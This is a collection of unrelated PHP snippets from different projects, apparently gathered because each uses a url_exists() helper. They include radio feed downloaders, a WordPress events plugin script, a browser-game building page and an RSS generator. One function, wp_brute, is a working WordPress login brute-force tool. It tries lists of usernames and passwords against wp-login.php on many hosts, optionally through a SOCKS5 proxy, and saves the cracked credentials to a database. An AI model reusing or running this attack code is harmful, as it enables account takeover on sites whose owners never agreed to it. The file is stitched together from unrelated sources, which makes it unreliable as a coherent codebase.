/** * Indicate if service is enabled */ public function enabled() { $enabled = true; if (!empty($this->cmd)) { $result = exec("sudo service " . $this->cmd . " status", $output, $code); $enabled &= empty($code) && !preg_match('/not/', $result); } if (!empty($this->url)) { $enabled &= url_exists($this->url); } return $enabled; }
function getAudio($rss, &$link, $abstime = 0) { $rsscontent = file_get_contents($rss); $rss = simplexml_load_string($rsscontent); $channel = $rss->channel; if (count($channel->item) > 0) { $item = $channel->item[0]; $enclosure = $item->enclosure; $link = $enclosure['url']; if ($abstime > 0) { $strDate = date("Y-m-d", strtotime($item->pubDate) + $abstime); $remote = 'http://media.cathassist.org/vaticanradio/cn/mp3/' . $strDate . '.mp3'; if (url_exists($remote)) { $link = $remote; } } return date("Y-m-d", strtotime($item->pubDate) + $abstime); } }
public function doit() { global $PAGE; if (!$this->auto || check_auto($PAGE->code, $this->auto)) { if ($this->link && url_exists($this->link)) { echo " "; if ($this->type == 'script') { echo '<script src="' . $this->link . '"></script>'; } elseif ($this->type == 'style') { echo '<link rel="stylesheet" href="' . $this->link . '" />'; } else { echo $this->link; } echo "\n"; } if ($this->function != null && (is_string($this->function) && function_exists($this->function) || is_callable($this->function))) { call_user_func($this->function); } } }
function dbem_admin_general_script() { ?> <script src="<?php bloginfo('url'); ?> /wp-content/plugins/events-manager/dbem.js" type="text/javascript"></script> <script src="<?php bloginfo('url'); ?> /wp-content/plugins/events-manager/js/jquery-ui-datepicker/ui.datepicker.js" type="text/javascript"></script> <script src="<?php bloginfo('url'); ?> /wp-content/plugins/events-manager/js/timeentry/jquery.timeentry.js" type="text/javascript"></script> <?php // Check if the locale is there and loads it $locale_code = substr(get_locale(), 0, 2); $show24Hours = 'true'; // Setting 12 hours format for those countries using it if (preg_match("/en|sk|zh|us|uk/", $locale_code)) { $show24Hours = 'false'; } $locale_file = get_bloginfo('url') . "/wp-content/plugins/events-manager/js/jquery-ui-datepicker/i18n/ui.datepicker-{$locale_code}.js"; if (url_exists($locale_file)) { ?> <script src="<?php bloginfo('url'); ?> /wp-content/plugins/events-manager/js/jquery-ui-datepicker/i18n/ui.datepicker-<?php echo $locale_code; ?> .js" type="text/javascript"></script> <?php } ?> <style type='text/css' media='all'> @import "<?php plugins_url('js/jquery-ui-datepicker/ui.datepicker.css', __FILE__); ?> " ; </style> <script type="text/javascript"> //<![CDATA[ // TODO: make more general, to support also latitude and longitude (when added) $j=jQuery.noConflict(); function updateIntervalDescriptor () { $j(".interval-desc").hide(); var number = "-plural"; if ($j('input#recurrence-interval').val() == 1 || $j('input#recurrence-interval').val() == "") number = "-singular" var descriptor = "span#interval-"+$j("select#recurrence-frequency").val()+number; $j(descriptor).show(); } function updateIntervalSelectors () { $j('p.alternate-selector').hide(); $j('p#'+ $j('select#recurrence-frequency').val() + "-selector").show(); //$j('p.recurrence-tip').hide(); //$j('p#'+ $j(this).val() + "-tip").show(); } function updateShowHideRecurrence () { if($j('input#event-recurrence').attr("checked")) { $j("#event_recurrence_pattern").fadeIn(); /* Marcus Begin Edit */ //Edited this and the one below so dates always can have an end date //$j("input#localised-end-date").fadeIn(); /* Marcus End Edit */ $j("#event-date-explanation").hide(); $j("#recurrence-dates-explanation").show(); $j("h3#recurrence-dates-title").show(); $j("h3#event-date-title").hide(); } else { $j("#event_recurrence_pattern").hide(); /* Marcus Begin Edit */ //$j("input#localised-end-date").hide(); /* Marcus End Edit */ $j("#recurrence-dates-explanation").hide(); $j("#event-date-explanation").show(); $j("h3#recurrence-dates-title").hide(); $j("h3#event-date-title").show(); } } function updateShowHideRsvp () { if($j('input#rsvp-checkbox').attr("checked")) { $j("div#rsvp-data").fadeIn(); } else { $j("div#rsvp-data").hide(); } } $j(document).ready( function() { locale_format = "ciao"; $j("#recurrence-dates-explanation").hide(); $j("#localised-date").show(); /* Marcus Begin Edit */ $j("#localised-end-date").show(); /* Marcus End Edit */ $j("#date-to-submit").hide(); $j("#end-date-to-submit").hide(); $j("#localised-date").datepicker($j.extend({}, ($j.datepicker.regional["it"], {altField: "#date-to-submit", altFormat: "yy-mm-dd"}))); $j("#localised-end-date").datepicker($j.extend({}, ($j.datepicker.regional["it"], {altField: "#end-date-to-submit", altFormat: "yy-mm-dd"}))); $j("#start-time").timeEntry({spinnerImage: '', show24Hours: <?php echo $show24Hours; ?> }); $j("#end-time").timeEntry({spinnerImage: '', show24Hours: <?php echo $show24Hours; ?> }); $j('input.select-all').change(function(){ if($j(this).is(':checked')) $j('input.row-selector').attr('checked', true); else $j('input.row-selector').attr('checked', false); }); // TODO: NOT WORKING FOR SOME REASON, val() gives me 2 instead of 'smtp'... // console.log($j('select[name:dbem_rsvp_mail_send_method]').val()); // if ($j('select[name:dbem_rsvp_mail_send_method]').val() != "smtp") { // $j('tr#dbem_smtp_host_row').hide(); // $j('tr#dbem_rsvp_mail_SMTPAuth_row').hide(); // $j('tr#dbem_smtp_username_row').hide(); // $j('tr#dbem_smtp_password_row').hide(); // } // // $j('select[name:dbem_rsvp_mail_send_method]').change(function() { // console.log($j(this).val()); // if($j(this).val() == "smtp") { // $j('tr#dbem_smtp_host_row').show(); // $j('tr#dbem_rsvp_mail_SMTPAuth_row').show(); // $j('tr#dbem_smtp_username_row').show(); // $j('tr#dbem_smtp_password_row').show(); // } else { // $j('tr#dbem_smtp_host_row').hide(); // $j('tr#dbem_rsvp_mail_SMTPAuth_row').hide(); // $j('tr#dbem_smtp_username_row').hide(); // $j('tr#dbem_smtp_password_row').hide(); // } //}); updateIntervalDescriptor(); updateIntervalSelectors(); updateShowHideRecurrence(); updateShowHideRsvp(); $j('input#event-recurrence').change(updateShowHideRecurrence); $j('input#rsvp-checkbox').change(updateShowHideRsvp); // recurrency elements $j('input#recurrence-interval').keyup(updateIntervalDescriptor); $j('select#recurrence-frequency').change(updateIntervalDescriptor); $j('select#recurrence-frequency').change(updateIntervalSelectors); // hiding or showing notes according to their content jQuery('.postbox h3').prepend('<a class="togbox">+</a> '); // if(jQuery("textarea[@name=event_notes]").val()!="") { // jQuery("textarea[@name=event_notes]").parent().parent().removeClass('closed'); // } jQuery('#event_notes h3').click( function() { jQuery(jQuery(this).parent().get(0)).toggleClass('closed'); }); // users cannot submit the event form unless some fields are filled function validateEventForm(){ errors = ""; var recurring = $j("input[@name=repeated_event]:checked").val(); requiredFields= new Array('event_name', 'localised_event_date', 'location_name','location_address','location_town'); var localisedRequiredFields = {'event_name':"<?php _e('Name', 'dbem'); ?> ", 'localised_event_date':"<?php _e('Date', 'dbem'); ?> ", 'location_name':"<?php _e('Location', 'dbem'); ?> ",'location_address':"<?php _e('Address', 'dbem'); ?> ",'location_town':"<?php _e('Town', 'dbem'); ?> "}; missingFields = new Array; for (var i in requiredFields) { if ($j("input[@name=" + requiredFields[i]+ "]").val() == 0) { missingFields.push(localisedRequiredFields[requiredFields[i]]); $j("input[@name=" + requiredFields[i]+ "]").css('border','2px solid red'); } else { $j("input[@name=" + requiredFields[i]+ "]").css('border','1px solid #DFDFDF'); } } // alert('ciao ' + recurring+ " end: " + $j("input[@name=localised_event_end_date]").val()); if (missingFields.length > 0) { errors = "<?php echo _e('Some required fields are missing:', 'dbem'); ?> " + missingFields.join(", ") + ".\n"; } if(recurring && $j("input[@name=localised_event_end_date]").val() == "") { errors = errors + "<?php _e('Since the event is repeated, you must specify an end date', 'dbem'); ?> ."; $j("input[@name=localised_event_end_date]").css('border','2px solid red'); } else { $j("input[@name=localised_event_end_date]").css('border','1px solid #DFDFDF'); } if(errors != "") { alert(errors); return false; } return true; } $j('#eventForm').bind("submit", validateEventForm); }); //]]> </script> <?php }
/** * BuildingPage.php * * @version 1.0 * @copyright 2009 by MadnessRed for XNova Redesigned */ function BuildingPage($a = 0, $b = 0) { global $lang, $resource, $reslist, $pricelist, $dpath, $game_config, $_GET, $user, $planetrow; CheckPlanetUsedFields($planetrow); if (!$_GET['page']) { return false; die; } // Tables des batiments possibles par type de planete if ($_GET['page'] == 'station') { $Allowed[1] = array(14, 15, 21, 31, 33, 34, 44); $Allowed[3] = array(14, 21, 34, 41, 42, 43); } elseif ($_GET['page'] == 'resources') { $Allowed[1] = array(1, 2, 3, 4, 12, 212, 22, 23, 24); $Allowed[3] = array(212, 22, 23, 24); } else { die("Hacking attempt"); } //Right, lets see what he has an generate him an image. $imgnum = ''; if ($planetrow[$resource[1]] > 0) { $imgnum .= "_1"; } if ($planetrow[$resource[2]] > 0) { $imgnum .= "_2"; } if ($planetrow[$resource[3]] > 0) { $imgnum .= "_3"; } if ($planetrow[$resource[4]] > 0) { $imgnum .= "_4"; } // Boucle d'interpretation des eventuelles commandes if (isset($_GET['cmd'])) { // On passe une commande $bThisIsCheated = false; $bDoItNow = false; $TheCommand = $_GET['cmd']; $Element = $_GET['building']; $ListID = $_GET['listid']; if (isset($Element)) { if (!strchr($Element, " ")) { if (!strchr($Element, ",")) { if (in_array(trim($Element), $Allowed[$planetrow['planet_type']])) { $bDoItNow = true; } else { //$bThisIsCheated = true; $bDoItNow = true; } } else { $bThisIsCheated = true; } } else { $bThisIsCheated = true; } } elseif (isset($ListID)) { $bDoItNow = true; } if ($bDoItNow == true) { switch ($TheCommand) { case 'cancel': //Remove last queue item RemoveFromQueue(); break; case 'remove': //Remove a specific queue item RemoveFromQueue($ListID); break; case 'insert': //Insert into the queue a build $fields_rem = $planetrow['field_max'] - $planetrow['field_current'] + $planetrow[$resource[33]] * 5; if ($fields_rem >= 0) { AddToQueue($Element, 1); } else { echo $fields_rem . " < 0"; die("Hacking Attempt!"); } break; case 'destroy': //Add a deconstrction to the queue AddToQueue($Element, -1); break; } // switch } elseif ($bThisIsCheated == true) { //ResetThisFuckingCheater ( $user['id'] ); } //If they want axah_section if ($_GET['axah_box']) { $q = ShowQueue(false); makeAXAH($q['buildlist']); die; } } $Queue = ShowQueue(true); // On enregistre ce que l'on a modifi� dans planet ! BuildingSavePlanetRecord($planetrow); // On enregistre ce que l'on a eventuellement modifi� dans users BuildingSaveUserRecord($user); $max_qs = MAX_BUILDING_QUEUE_SIZE; if ($max_qs > 0) { //fine :) } else { $max_qs = 10; } if ($Queue['length'] < $max_qs) { $CanBuildElement = true; } else { $CanBuildElement = false; } if ($_GET['page'] == 'station') { if ($planetrow['planet_type'] == 3) { $SubTemplate = gettemplate('buildings/station-moon_buttonz'); } else { $SubTemplate = gettemplate('buildings/station_buttonz'); } } elseif ($_GET['page'] == 'resources') { $SubTemplate = gettemplate('buildings/resources_buttonz'); } else { die("Hacking attempt"); } $parse = array(); $infopg = array(); foreach ($lang['names'] as $Element => $ElementName) { if (!$planetrow['planet_type']) { die("no planet type"); } if (in_array($Element, $Allowed[$planetrow['planet_type']]) || $_GET['page'] == 'station') { if (@in_array($Element, $Allowed[$planetrow['planet_type']])) { if (!IsTechnologieAccessible($user, $planetrow, $Element)) { $parse['state_' . $Element] = "off"; $parse['mes_' . $Element] = "Requirements are not met"; $parse['canbuild_' . $Element] = ""; } elseif (!IsElementBuyable($user, $planetrow, $Element, true, false) && $Queue['length'] == 0) { $parse['state_' . $Element] = "disabled"; $parse['mes_' . $Element] = "Not enough resources!"; $parse['canbuild_' . $Element] = ""; } elseif (!$CanBuildElement) { $parse['state_' . $Element] = "disabled"; $parse['mes_' . $Element] = "Queue is full!"; $parse['canbuild_' . $Element] = ""; } else { $parse['state_' . $Element] = "on"; $parse['mes_' . $Element] = ""; $parse['canbuild_' . $Element] = "\n\t\t\t\t\t\t<a class=\"fastBuild tips\" href=\"#\" onclick=\"loadpage('./?page=" . $_GET['page'] . "&cmd=insert&building={$Element}&id={$Element}',document.title,document.body.id);\">\n\t\t\t\t\t\t\t<img src=\"" . GAME_SKIN . "/img/layout/sofort_bauen.gif\" height=\"14\" width=\"22\">\n\t\t\t\t\t\t</a>"; } } else { $parse['state_' . $Element] = "off"; $parse['mes_' . $Element] = "Not availble"; $parse['canbuild_' . $Element] = ""; } $parse['name_' . $Element] = $ElementName; $parse['count_' . $Element] = $planetrow[$resource[$Element]]; } } //Countdowns if ($planetrow['b_building'] > 0) { $BuildQueue = explode(";", $planetrow['b_building_id']); $CurrBuild = explode(",", $BuildQueue[0]); $parse['countdown_' . $CurrBuild[0]] = "\n\t\t\t\t\t\t\t\t\t<div class=\"construction\">\n\n\t\t\t\t\t\t\t\t\t\t<div class=\"pusher\" style=\"height: 80px; margin-bottom: -80px;\">\n\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"time\" id=\"resource\">" . parsecountdown($planetrow['b_building']) . "</span>\n\n\t\t\t\t\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t\t\t\t</div>\n"; } $BuildingPage = parsetemplate($SubTemplate, $parse); $parse = $lang; $Element = idstring($_GET['id']); $ElementName = $lang['names'][$Element]; // Faut il afficher la liste de construction ?? if ($Queue['length'] > 0) { $parse['BuildList'] = $Queue['buildlist']; } else { $parse['BuildList'] = ""; } $de_planettype = PlanetType($planetrow['image']); $parse['type'] = $de_planettype['type']; if ($_GET['page'] == 'station') { $parse['bg'] = HEADER_CACHE . "station/" . $parse['type'] . ".png"; } elseif ($_GET['page'] == 'resources') { if (url_exists(HEADER_CACHE . "resources/" . $parse['type'] . $imgnum . ".png")) { $parse['bg'] = HEADER_CACHE . "resources/" . $parse['type'] . $imgnum . ".png"; } else { $parse['bg'] = HEADER_CACHE . "resources/default.png"; } } else { die("Hacking attempt"); } $parse['hideres'] = "display:none;"; $parse['hidenorm'] = ""; $parse['planetname'] = $planetrow['name']; if (!$Element) { if ($_GET['mode'] == "resources") { $parse['hideres'] = ""; $parse['hidenorm'] = "display:none;"; } } else { if (!is_array($Allowed[$planetrow['planet_type']])) { $message = $user['username'] . " (" . intval($user['id']) . ") does not have a propper planet_type, so \$Allowed[\$planetrow['planet_type']] was not an array, causing the error which is most likely directly below this."; trigger_error($message, E_USER_NOTICE); } if (in_array($Element, $Allowed[$planetrow['planet_type']])) { //Something else $HaveRessources = IsElementBuyable($user, $planetrow, $Element, true, false); $parse['i'] = $Element; $parse['dpath'] = $dpath; $BuildingLevel = $planetrow[$resource[$Element]]; $parse['nivel'] = $BuildingLevel == 0 ? "" : " (" . $lang['level'] . " " . $BuildingLevel . ")"; $parse['n'] = $ElementName; $parse['descriptions'] = $lang['res']['descriptions'][$Element]; $ElementBuildTime = BuildingTime($Element, $BuildingLevel + 1, $planetrow); $parse['time'] = ShowBuildTime($ElementBuildTime); $parse['price'] = GetElementPrice($user, $planetrow, $Element); $parse['rest_price'] = GetRestPrice($user, $planetrow, $Element); $parse['click'] = ''; $NextBuildLevel = $planetrow[$resource[$Element]] + 1; $CurrentMaxFields = CalculateMaxPlanetFields($planetrow); if ($planetrow["field_current"] < $CurrentMaxFields - $Queue['lenght']) { $RoomIsOk = true; } else { $RoomIsOk = false; } if ($Element == 31) { // Sp�cial Laboratoire if ($user["b_tech_planet"] != 0 && $game_config['BuildLabWhileRun'] != 1) { // Variable qui contient le parametre // On verifie si on a le droit d'evoluer pendant les recherches (Setting dans config) $parse['click'] = "<font color=#FF0000>" . $lang['in_working'] . "</font>"; } } if (IsTechnologieAccessible($user, $planetrow, $Element)) { if ($parse['click'] != '') { // Bin on ne fait rien, vu que l'on l'a deja fait au dessus !! } elseif ($RoomIsOk && $CanBuildElement) { if ($Queue['lenght'] == 0) { if ($NextBuildLevel == 1) { if ($HaveRessources == true) { $parse['click'] = "<a href=\"./?page=" . $_GET['page'] . "&cmd=insert&building=" . $Element . "&id=" . $Element . "\"><font color=#00FF00>" . $lang['BuildFirstLevel'] . "</font></a>"; $infopg['build_link'] = "./?page=" . $_GET['page'] . "&cmd=insert&building=" . $Element . "&id=" . $Element; $infopg['build_text'] = $lang['BuildFirstLevel']; } else { $parse['click'] = "<font color=#FF0000>4" . $lang['BuildFirstLevel'] . "</font>"; $infopg['build_text'] = $lang['BuildFirstLevel']; } } else { if ($HaveRessources == true) { $parse['click'] = "<a href=\"./?page=" . $_GET['page'] . "&cmd=insert&building=" . $Element . "&id=" . $Element . "\"><font color=#00FF00>" . $lang['BuildNextLevel'] . " " . $NextBuildLevel . "</font></a>"; $infopg['build_link'] = "./?page=" . $_GET['page'] . "&cmd=insert&building=" . $Element . "&id=" . $Element; $infopg['build_text'] = $lang['BuildNextLevel'] . " " . $NextBuildLevel; } else { $parse['click'] = "<font color=#FF0000>" . $lang['BuildNextLevel'] . " " . $NextBuildLevel . "</font>"; $infopg['build_text'] = $lang['BuildNextLevel'] . " " . $NextBuildLevel; } } } else { $parse['click'] = "<a href=\"./?page=" . $_GET['page'] . "&cmd=insert&building=" . $Element . "&id=" . $Element . "\"><font color=#00FF00>" . $lang['InBuildQueue'] . "</font></a>"; $infopg['build_link'] = "./?page=" . $_GET['page'] . "&cmd=insert&building=" . $Element . "&id=" . $Element; $infopg['build_text'] = $lang['InBuildQueue']; } } elseif ($RoomIsOk && !$CanBuildElement) { if ($NextBuildLevel == 1) { $parse['click'] = "<font color=#FF0000>2" . $lang['BuildFirstLevel'] . "</font>"; $infopg['build_text'] = $lang['BuildFirstLevel']; } else { $parse['click'] = "<font color=#FF0000>1" . $lang['BuildNextLevel'] . " " . $NextBuildLevel . "</font>"; $infopg['build_text'] = $lang['BuildNextLevel'] . " " . $NextBuildLevel; } } else { $parse['click'] = "<font color=#FF0000>" . $lang['NoMoreSpace'] . "</font>"; $infopg['build_text'] = $lang['NoMoreSpace']; } } else { $parse['click'] = "<font color=#FF0000>" . $lang['NotAccessible'] . "</font>"; $infopg['build_text'] = $lang['NotAccessible']; } //Building Info if ($infopg['build_link']) { $infopg['buildit_class'] = "build-it"; $infopg['build_text'] = "Improve"; } else { $infopg['buildit_class'] = "build-it_disabled"; $infopg['build_text'] = "In queue"; } $infopg['id'] = $Element; $infopg['name'] = $ElementName; $infopg['level'] = $planetrow[$resource[$Element]]; if ($planetrow[$resource[$Element]] < 1) { $infopg['display_destroy'] = "style=\"display:none;\""; } $infopg['td_url'] = "./?page=" . $_GET['page'] . "&cmd=destroy&id=" . $Element . "&building=" . $Element; $infopg['title'] = "Tear down"; $infopg['level1'] = $infopg['level'] + 1; $infopg['duration'] = pretty_time($ElementBuildTime); $infopg['shortdesc'] = $lang['sdesc'][$Element]; $infopg['skin'] = $user['skin']; $infopg['cost_m'] = 1 * floor($pricelist[$Element]['metal'] * pow($pricelist[$Element]['factor'], $planetrow[$resource[$Element]])); $infopg['cost_c'] = 1 * floor($pricelist[$Element]['crystal'] * pow($pricelist[$Element]['factor'], $planetrow[$resource[$Element]])); $infopg['cost_d'] = 1 * floor($pricelist[$Element]['deuterium'] * pow($pricelist[$Element]['factor'], $planetrow[$resource[$Element]])); if ($infopg['cost_m'] > $planetrow['metal'] && $infopg['cost_m'] > 0) { $infopg['missing_resource_m'] = "missing_resource"; } if ($infopg['cost_c'] > $planetrow['crystal'] && $infopg['cost_c'] > 0) { $infopg['missing_resource_c'] = "missing_resource"; } if ($infopg['cost_d'] > $planetrow['deuterium'] && $infopg['cost_d'] > 0) { $infopg['missing_resource_d'] = "missing_resource"; } $infopg['sh_cost_m'] = KMnumber($infopg['cost_m'], 0, 'up'); $infopg['sh_cost_c'] = KMnumber($infopg['cost_c'], 0, 'up'); $infopg['sh_cost_d'] = KMnumber($infopg['cost_d'], 0, 'up'); $infopg['cost_m'] = pretty_number($infopg['cost_m']); $infopg['cost_c'] = pretty_number($infopg['cost_c']); $infopg['cost_d'] = pretty_number($infopg['cost_d']); $infopg['page'] = $_GET['page']; $parse['info'] = parsetemplate(gettemplate('buildings/info'), $infopg); $parse['extra'] = "style=\"display:none\""; if ($_GET['axah_section'] == '1') { makeAXAH($parse['info']); die; } } } $parse['planet_field_current'] = $planetrow["field_current"]; $parse['planet_field_max'] = $planetrow['field_max'] + $planetrow[$resource[33]] * 5; $parse['field_libre'] = $parse['planet_field_max'] - $planetrow['field_current']; $parse['buttonz'] = $BuildingPage; $parse['BuildingsList'] = $BuildingPage; if ($_GET['page'] == 'station') { $page = parsetemplate(gettemplate('buildings/station'), $parse); $title = $lang['Facilities']; } elseif ($_GET['page'] == 'resources') { //Resources screen $parse['resources_section'] = BuildRessourcePage($user, $planetrow, $parse['hideres']); $page = parsetemplate(gettemplate('buildings/resources'), $parse); $title = $lang['Resources']; } else { die("Hacking attempt"); } if ($_GET['axah']) { makeAXAH($page); } else { displaypage($page, $title); } }
$base = intval(date('H', $tmNow)) % 12; $i = 0; while ($i < 2) { $tmNow = time() + ($base + $i * 12) * 3600 * 24; $strDate = date('Y-m-d', $tmNow); $link = 'http://apps.thomasluk.idv.hk/apps/themes/read_bible/' . date('Ymd', $tmNow) . 'p.mp3'; $lmp3 = './thought/mp3/' . date('Y-m-d', $tmNow) . '.mp3'; if (!file_exists($lmp3)) { $cxdate = date("Y-n-j", $tmNow); $cxradio = 'http://radio.cxsm.org/playlist/' . $cxdate . '.txt'; $cxlist = explode("\n", file_get_contents($cxradio)); //或是url list if (count($cxlist) > 1) { $link = cn_urlencode(trim($cxlist[1])); echo "Use cxradio mp3<br/>"; } echo "check link:" . $link . "<br/>"; if (url_exists($link)) { $bname = basename($link); echo "base name:" . $bname . '<br/>'; $local = './objs/' . time() . '_' . $bname; curl_download($link, $local); echo "download from:" . $link . "<br/>"; if (!rename($local, $lmp3)) { echo "rename false<br/>"; } } } $i++; } echo '<br/><h2>Done!!!</h2>';
$eventrss .= '<ttl>15</ttl>' . "\n"; while ($results = mysql_fetch_array($query3)) { $league_url = strtolower(str_replace(" ", "%20", $results['league'])); $time = date("g:i A", strtotime($results['time'])); $date = date("m-d-Y", strtotime($results['date'])); $eventrss .= '<item>' . "\n"; $eventrss .= '<guid>http://espn.go.com/espn3/player?id=' . $results['event_id'] . '</guid>' . "\n"; $eventrss .= '<title>' . $results['sport'] . ' - ' . $results['event'] . '</title>' . "\n"; $eventrss .= '<description>' . $results['sport'] . ' - ' . $results['league'] . ' - ' . $results['event'] . ' - ' . $date . ' - ' . $time . ' EST</description>' . "\n"; $eventrss .= '<boxee:property name="custom:sport">' . $results['sport'] . '</boxee:property>' . "\n"; $eventrss .= '<boxee:property name="custom:league">' . $results['league'] . '</boxee:property>' . "\n"; $eventrss .= '<boxee:property name="custom:event">' . $results['event'] . '</boxee:property>' . "\n"; $eventrss .= '<boxee:property name="custom:date">' . $date . '</boxee:property>' . "\n"; $eventrss .= '<boxee:property name="custom:time">' . $time . ' EST</boxee:property>' . "\n"; $eventrss .= '<media:content url="flash://espn.go.com/src=' . $content_url . '%3Fid%3D' . $results['event_id'] . '%26league%3D' . $league_url . '&bx-jsactions=' . $js_control . '" type="application/x-shockwave-flash" />' . "\n"; if (url_exists($results['thumb'])) { $eventrss .= '<media:thumbnail url="' . $results['thumb'] . '" />' . "\n"; } else { $eventrss .= '<media:thumbnail url="http://boxee.thinkonezero.com/espn3/build/thumbs/default.png" />' . "\n"; } $eventrss .= '<boxee:media-type expression="full" type="show" name="Live Sports"/>' . "\n"; $eventrss .= '<media:category scheme="urn:boxee:genre">sport</media:category>' . "\n"; $eventrss .= '<boxee:release-date>' . $results['fulldate'] . '</boxee:release-date>' . "\n"; $eventrss .= '</item>' . "\n"; } $eventrss .= '</channel>' . "\n"; $eventrss .= '</rss>' . "\n"; $sportfile = strtolower(str_replace(' ', '_', $sport[0])); $leaguefile = strtolower(str_replace(' ', '_', $league[0])); //Write the Replay Events XML File $xmlfile = '/home/phikai/boxee.thinkonezero.com/espn3/feeds/replay/' . $sportfile . '-' . $leaguefile . '.xml';
public function pageanalysis() { $this->load->library('Analysis'); $this->load->library('Extractor'); $urlcheck = $this->input->post('urlcheck', TRUE); var_dump($urlcheck); if (empty($urlcheck)) { $this->template->title($this->module_details['name'])->append_css('module::style.css')->build('admin/pageanalysis'); } else { define('GOOGLE_MAGIC', 0.0); if (strtolower($urlcheck) == "http://") { } else { if (!preg_match('/^(http|https|ftp):\\/\\/([A-Z0-9][A-Z0-9_-]*(?:\\.[A-Z0-9][A-Z0-9_-]*)+):?(\\d+)?\\/?/i', $urlcheck)) { ?> <div class="errorurl" style="width: 395px"> <strong class="redb">ERROR: Please Provide proper URL to index the page.</strong><br /><br /> Kindly Provide a proper URL. <br /><br />The <b>Format of URL should be:</b> <br />http://www.example.com, or<br />http://www.example.com/sample-page.php, or<br />http://subdomain.example.com/sub-directory/sample-page.php,<br />or similar to the above formats. </div> <?php } else { $url = str_replace('http://', '', $urlcheck); $url = 'http://' . $url; $meta = new analysis(); $res = $meta->getValues($url); $ext = new extractor($url); $links = $ext->ExtractLinks(''); $res['links'] = $ext->links; } } $pch = url_exists($urlcheck); // var_dump($pch); $this->template->title($this->module_details['name'])->append_css('module::style.css')->build('admin/pageanalysisresult'); } }
function wp_brute() { if (isset($_POST['hosts']) && isset($_POST['passwords']) && isset($_POST['usernames'])) { $conn = new mysqli(SQL_HOST, SQL_USER, SQL_PWD, SQL_DB); $hosts = trim(filter($_POST['hosts'])); $passwords = trim(filter($_POST['passwords'])); $usernames = trim(filter($_POST['usernames'])); if ($passwords && $usernames && $hosts) { $hostsx = explode("\n", $hosts); $usersx = explode("\n", $usernames); $passsx = explode("\n", $passwords); echo '<div class="post">'; echo '<h2 class="title"><a href="#">Results</a></h2>'; echo '<div class="entry">'; echo '<p class="meta"> Wordpress CMS Bruteforce • Broken credentials will be stored in database'; foreach ($hostsx as $host) { $host = RemoveLastSlash($host); $hxd = 0; $host = str_replace(array("http://", "https://", "www."), "", trim($host)); $host = "http://" . $host; $wpAdmin = $host . '/wp-admin/'; if (!url_exists($host . "/wp-login.php")) { echo "<p>" . $host . " - <font color='#990000'>Login page not found</font></p>"; ob_flush(); flush(); continue; } foreach ($usersx as $username) { foreach ($passsx as $password) { $ch = curl_init(); if (USE_PROXY == 1) { curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); curl_setopt($ch, CURLOPT_PROXY, PROXY_IP . ':' . PROXY_PORT); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php'); curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri‏" . "&redirect_to=" . $wpAdmin . "&testcookie=1"); $login = curl_exec($ch); if (eregi("profile.php", $login)) { $hxd = 1; echo "<p>" . $host . " - Cracked! Username - <font color='#990000'>" . $username . "</font> & Password : <font color='#990000'>" . $password . "</font></p>"; mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string($host) . ":80', '" . mysql_escape_string($username) . ":" . mysql_escape_string($password) . "')", $conn); ob_flush(); flush(); break; } } if ($hxd == 1) { break; } } if ($hxd == 0) { echo "<p>" . $host . " - <font color='#990000'>Failed</font></p>"; ob_flush(); flush(); } } echo '</div></div>'; } else { echo "<h2><font color='#990000'>All fields are required!</font></h3>"; } } mysqli_close($conn); }
$vajson = null; if (!file_exists($vafile)) { $vajson["title"] = "梵蒂冈中文广播"; $vajson["date"] = $strDate; $vajson["logo"] = "http://www.cathassist.org/radio/logos/vacn.jpg"; $itemsrc = "http://media.cathassist.org/vaticanradio/cn/mp3/" . $strDate . ".mp3"; if (url_exists($itemsrc)) { $title = "梵蒂冈中文广播"; $vajson['items'][0] = array('title' => $title, 'src' => $itemsrc); file_put_contents($vafile, json_encode($vajson)); append2All("vacn", $vajson); } else { echo "Can't update vacn...<br/>"; } } $gosfile = './gos/' . $strDate; $gosjson = null; if (!file_exists($gosfile)) { $gosjson["title"] = "每日福音"; $gosjson["date"] = $strDate; $gosjson["logo"] = "http://www.cathassist.org/radio/logos/gos.jpg"; $itemsrc = "http://media.cathassist.org/thought/mp3/" . $strDate . ".mp3"; if (url_exists($itemsrc)) { $title = "每日福音"; $gosjson['items'][0] = array('title' => $title, 'src' => $itemsrc); file_put_contents($gosfile, json_encode($gosjson)); append2All("gos", $gosjson); } else { echo "Cant't update gos...<br/>"; } }
$i = 0; while ($i < 1) { $tmNow = time() + $base * 3600 * 24; $strDate = date('Y-m-d', $tmNow); // $link = 'http://apps.thomasluk.idv.hk/apps/themes/read_bible/'.date('Ymd',$tmNow).'p.mp3'; $link = ''; $lmp3 = './thought/mp3/' . date('Y-m-d', $tmNow) . '.mp3'; if (!file_exists($lmp3)) { $cxdate = date("Y-n-j", $tmNow); $cxradio = 'http://211.149.237.175/playlist/' . $cxdate . '.txt'; $cxlist = explode("\n", file_get_contents($cxradio)); //或是url list if (count($cxlist) > 1) { $link = cn_urlencode(trim($cxlist[1])); echo "Use cxradio mp3<br/>"; } echo "check thought date:" . $strDate . "<br/>"; if ($link != '' && url_exists($link)) { $bname = basename($link); echo "base name:" . $bname . '<br/>'; $local = './objs/' . time() . '_' . $bname; curl_download($link, $local); echo "download from:" . $link . "<br/>"; if (!rename($local, $lmp3)) { echo "rename false<br/>"; } } } $i++; } echo '<br/><h2>Done!!!</h2>';
